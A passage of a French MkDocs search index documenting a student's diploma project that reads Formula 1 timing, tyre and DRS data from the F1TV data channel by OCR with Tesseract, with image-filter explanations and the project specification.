1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes","title":"Chiffres"},{"location":"index.html#pneus","text":"La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract","title":"Pneus"},{"location":"index.html#drs","text":"Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila.","title":"DRS"},{"location":"index.html#filtres-et-methodes-sur-les-images","text":"Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici.","title":"Filtres et methodes sur les images"},{"location":"index.html#interpretation-des-donnees","text":"","title":"Interpr\u00e9tation des donn\u00e9es"},{"location":"index.html#stockage-des-donnees","text":"","title":"Stockage des donn\u00e9es"},{"location":"index.html#affichage-des-donnees","text":"","title":"Affichage des donn\u00e9es"},{"location":"index.html#predictions","text":"","title":"Pr\u00e9dictions"},{"location":"index.html#tests","text":"[A remplir au fur et \u00e0 mesure de la cr\u00e9ation des tests]","title":"Tests"},{"location":"index.html#resume-des-difficultes-techniques","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"R\u00e9sum\u00e9 des difficult\u00e9s techniques"},{"location":"index.html#optimisation-du-programme","text":"[A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation]","title":"Optimisation du programme"},{"location":"index.html#ethique-du-projet","text":"[A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]","title":"Ethique du projet"},{"location":"index.html#ameliorations-futures","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Am\u00e9liorations futures"},{"location":"index.html#conclusion","text":"[A remplir la derni\u00e8re semaine du travail de dipl\u00f4me]","title":"Conclusion"},{"location":"CahierDesCharges.html","text":"Cahier des charges Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023 Contexte Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\" Cas d'utilisation *On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Cahier des charges"},{"location":"CahierDesCharges.html#cahier-des-charges","text":"Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023","title":"Cahier des charges"},{"location":"CahierDesCharges.html#contexte","text":"Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion.","title":"Contexte"},{"location":"CahierDesCharges.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents","title":"Projet"},{"location":"CahierDesCharges.html#realisation","text":"Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\"","title":"R\u00e9alisation"},{"location":"CahierDesCharges.html#cas-dutilisation","text":"*On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les 